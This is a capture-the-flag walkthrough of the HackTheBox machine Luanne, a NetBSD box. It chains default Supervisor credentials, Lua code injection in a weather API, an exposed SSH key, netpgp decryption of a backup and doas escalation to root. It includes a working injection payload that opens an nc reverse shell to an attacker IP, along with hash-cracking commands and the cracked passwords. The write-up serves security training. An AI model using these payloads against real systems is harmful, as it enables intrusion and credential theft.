HTB: Luanne Writeup

Luanne - HackTheBox Writeup

Machine Information

AttributeDetails
NameLuanne
OSNetBSD
DifficultyEasy
Points20
Release Date28 Nov 2020
IP Address10.129.43.86
Authorpolarbearer

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Luanne is an easy-difficulty NetBSD machine that showcases uncommon Unix utilities and services. The attack vector begins with default credentials on a Medusa Supervisor Process Manager running on port 9001, which reveals configuration details for two bozohttpd web servers. A Lua code injection vulnerability in a custom weather API allows for remote code execution as the _httpd user. Lateral movement is achieved by exploiting a misconfigured development server running with the -u flag, exposing a user’s home directory containing an SSH private key. Privilege escalation leverages NetBSD’s netpgp tool to decrypt a backup archive containing credentials, which are then used with the doas command (OpenBSD’s sudo alternative) to gain root access.

TL;DR: Default Medusa creds → Lua injection RCE → bozohttpd -u flag exposes SSH key → netpgp decrypt backup → doas with cracked password → root


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.43.86

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\r
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\r
|_ Basic realm=default

Service Enumeration

Port 80 - nginx 1.19.0

The nginx server returns a 401 Unauthorized response requiring Basic authentication. However, the robots.txt file discloses a /weather endpoint:

/weather
curl http://10.129.43.86/robots.txt
# User-agent: *

Attempting to access /weather or common paths without credentials results in 401 responses.

Port 9001 - Medusa Supervisor

The Medusa service is identified as a Supervisor process manager. Supervisor is a client/server system for controlling processes on Unix-like operating systems. The default configuration file (supervisord.conf) typically includes default credentials user:123 for the HTTP server interface.

Testing these credentials:

Terminal window
curl --user user:123 http://10.129.43.86:9001/
# Successfully authenticated

The Supervisor web interface reveals two monitored httpd processes:

  1. Production server (port 3000): /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
  2. Development server (port 3001): /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -U r.michaels -b /home/r.michaels/devel/www

The -L weather /usr/local/webapi/weather.lua option indicates that the production server uses a Lua script to handle requests to the /weather endpoint. The development server runs under user r.michaels.

Vulnerability Assessment

  1. Default Credentials: Supervisor process manager accessible with user:123
  2. Information Disclosure: Process configuration reveals internal server details
  3. Potential Code Injection: Lua script handling user input on /weather endpoint
  4. Misconfigured Development Server: Running with -u flag enables user directory access

Initial Foothold

Lua Code Injection Reconnaissance

The bozohttpd server is a lightweight HTTP server for NetBSD. The -L flag registers Lua scripts to handle specific URL prefixes. The production server maps /weather to /usr/local/webapi/weather.lua.

Directory enumeration reveals a /weather/forecast endpoint:

Terminal window
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://10.129.43.86/weather/FUZZ
# Testing the API
curl http://10.129.43.86/weather/forecast
# {"code": 500,"error": "unknown city: nil"}

The API expects a city parameter:

Terminal window
curl "http://10.129.43.86/weather/forecast?city=list"
# {"cities": ["London","Manchester","Birmingham","Newcastle"]}
curl "http://10.129.43.86/weather/forecast?city=London"
# {"forecast":"sunny","temperature":"82"}

Exploiting Lua Code Injection

Testing for code injection by providing invalid input:

Terminal window
curl "http://10.129.43.86/weather/forecast?city=test"
# {"code": 500,"error": "unknown city: test"}

The error message reflects user input, suggesting potential injection. Lua’s os.execute() function can run system commands. Testing injection:

Terminal window
# Inject command execution - the ')+ closes the string context,
# os.execute() runs our command, and -- comments out the rest
curl "http://10.129.43.86/weather/forecast?city=')+os.execute('id')+--"

Why this works: The Lua script likely constructs a query like city = 'USER_INPUT'. By injecting ')+os.execute('id')+--, we:

  1. Close the string with ')
  2. Execute arbitrary commands with os.execute('id')
  3. Comment out remaining code with --

The command output appears in the JSON error response, confirming RCE as the _httpd user (uid 24).

Establishing Reverse Shell

Terminal window
# Start listener on attacking machine
nc -lvnp 4444
# Inject reverse shell command
# The payload creates a named pipe for bidirectional communication
curl "http://10.129.43.86/weather/forecast?city=')+os.execute('rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.15+4444+>/tmp/f')+--"

Shell received as _httpd (uid 24, gid 24).


Lateral Movement to r.michaels

Credential Discovery

Enumerating the web root directory:

Terminal window
ls -la /var/www
# drwxr-xr-x 2 root wheel 512 Nov 24 2020 .
# drwxr-xr-x 24 root wheel 512 Nov 24 2020 ..
# -rw-r--r-- 1 root wheel 47 Sep 16 2020 .htpasswd
# -rw-r--r-- 1 root wheel 386 Sep 17 2020 index.html
cat /var/www/.htpasswd
# webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

The hash is MD5-based (indicated by $1$). Cracking with John the Ripper:

Terminal window
# Save hash to file
echo 'webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash.txt
# Crack with rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# webapi_user:iamthebest

Exploiting Development Server Misconfiguration

The development server on port 3001 runs with the -u flag, which enables user directory access via the ~username URL syntax. This makes /home/r.michaels/public_html (or equivalent directories) accessible at http://localhost:3001/~r.michaels/.

Additionally, the -X flag enables directory indexing when no index.html exists.

Testing from the compromised _httpd shell:

Terminal window
# Access development server with discovered credentials
curl --user webapi_user:iamthebest http://localhost:3001/~r.michaels/
# <html><head><title>Index of ~r.michaels/</title></head>
# <body><h1>Index of ~r.michaels/</h1>
# <pre>
# <a href="id_rsa">id_rsa</a>
# </pre>
# </body></html>

Why this works: The bozohttpd -u option is designed for hosting user content, mapping ~username URLs to user home directories. Combined with -X for directory listing, it inadvertently exposes the user’s SSH private key.

SSH Access

Terminal window
# Download the private key
curl --user webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# [key content]
# -----END OPENSSH PRIVATE KEY-----
# Save locally and set permissions
chmod 600 id_rsa
# SSH as r.michaels
ssh -i id_rsa r.michaels@10.129.43.86

User flag captured: /home/r.michaels/user.txt<redacted>


Privilege Escalation

Discovering Encrypted Backup

Enumerating the home directory:

Terminal window
ls -la /home/r.michaels/
# drwxr-xr-x 7 r.michaels users 512 Sep 16 2020 .
# drwxr-xr-x 3 root wheel 512 Sep 14 2020 ..
# dr-x------ 2 r.michaels users 512 Sep 16 2020 .gnupg
# -rw-r--r-- 1 r.michaels users 1772 Feb 14 2020 .profile
# drwxr-x--- 2 r.michaels users 512 Sep 16 2020 backups
# drwxr-xr-x 4 r.michaels users 512 Sep 16 2020 devel
ls -la /home/r.michaels/backups/
# -rw-r----- 1 r.michaels users 1970 Sep 16 2020 devel_backup-2020-09-16.tar.gz.enc
ls -la /home/r.michaels/.gnupg/
# -rw------- 1 r.michaels users 3925 Sep 14 2020 pubring.gpg
# -rw------- 1 r.michaels users 3896 Sep 14 2020 secring.gpg

The .enc extension and presence of GPG keyrings suggest the backup is encrypted with GnuPG.

NetPGP Decryption

NetBSD uses netpgp as its GPG implementation instead of the standard gpg command. The tool automatically uses keys from ~/.gnupg/.

Terminal window
# Copy to writable directory (home is read-only for writing)
cp /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc /tmp/
# Decrypt using netpgp
cd /tmp
netpgp --decrypt --output=devel_backup-2020-09-16.tar.gz devel_backup-2020-09-16.tar.gz.enc
# signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
# Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
# uid RSA 2048-bit key <r.michaels@localhost>
# Extract the tar archive
tar xzf devel_backup-2020-09-16.tar.gz

Why this works: NetPGP automatically locates and uses the private key from /home/r.michaels/.gnupg/secring.gpg to decrypt files encrypted with the corresponding public key. No passphrase is required because the key itself is not passphrase-protected.

Cracking Backup Credentials

Terminal window
cat /tmp/devel-2020-09-16/.htpasswd
# webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

This is a different hash than the one found earlier. Cracking:

Terminal window
# Local machine
echo 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > hash2.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt
# littlebear

Abusing doas for Root Access

Checking for privilege escalation vectors:

Terminal window
cat /usr/pkg/etc/doas.conf
# permit r.michaels as root

The doas command is OpenBSD’s alternative to sudo, and NetBSD also supports it. The configuration permit r.michaels as root allows user r.michaels to execute commands as root after providing their password.

Why this works: Unlike sudo, which asks for the user’s password to verify identity before privilege elevation, doas with this configuration requires the user password but then allows execution as root. The password we cracked (littlebear) from the backup is r.michaels’ system password.

Terminal window
# Attempt to get root shell
# doas requires a proper PTY for password input
python3 -c 'import pty; pty.spawn("/bin/sh")'
# Execute command as root
doas sh
# Password: littlebear
# #

Alternatively, reading the flag directly:

Terminal window
doas /bin/sh -c "cat /root/root.txt"
# Password: littlebear
# <redacted>

Root flag captured: /root/root.txt<redacted>


Attack Chain Summary

Default Supervisor Creds (user:123) → Lua Code Injection RCE (_httpd) →
Cracked .htpasswd (webapi_user:iamthebest) → bozohttpd -u flag exposes ~r.michaels/id_rsa →
SSH as r.michaels (user.txt) → netpgp decrypt backup → Cracked backup .htpasswd (r.michaels:littlebear) →
doas privilege escalation → Root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and API testing
ffufDirectory and endpoint fuzzing
johnPassword hash cracking (MD5 hashes)
ncReverse shell listener
sshRemote shell access with private key
netpgpNetBSD GPG implementation for decryption
doasOpenBSD/NetBSD privilege escalation utility

Key Learnings

Techniques Practiced

  • Default Credential Exploitation: Supervisor process manager default credentials (user:123)
  • Lua Code Injection: Exploiting improperly sanitized user input in Lua scripts with os.execute()
  • NetBSD-Specific Tools: Using netpgp instead of gpg for cryptographic operations
  • bozohttpd Configuration Analysis: Understanding -u (user directory access) and -X (directory indexing) flags
  • doas Usage: NetBSD/OpenBSD alternative to sudo for privilege escalation
  • Password Hash Cracking: MD5-based Unix password hashes (identified by $1$ prefix)

Lessons Learned

  1. Always check for default credentials on management interfaces. Supervisor, Jenkins, Tomcat, and similar services often ship with well-documented defaults that users fail to change in production.

  2. User input in scripting languages must be sanitized. The Lua injection vulnerability demonstrates how string concatenation with user input can lead to code execution. Always use parameterized queries or input validation.

  3. Development servers should not be exposed, even internally. The -u flag on bozohttpd is convenient for development but exposes user home directories. Development and production configurations should differ significantly.

  4. OS-specific tools matter. On NetBSD, standard tools like gpg are replaced with netpgp. Always verify which tools are available on non-Linux Unix systems (FreeBSD, OpenBSD, NetBSD, Solaris).

  5. Backup security is critical. While the backup was encrypted, the decryption key was stored in the same user’s home directory. Encryption only provides value if keys are properly segregated or require additional authentication.

  6. Password reuse enables lateral movement. The webapi_user password found in the backup turned out to be r.michaels’ system password, enabling privilege escalation via doas.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References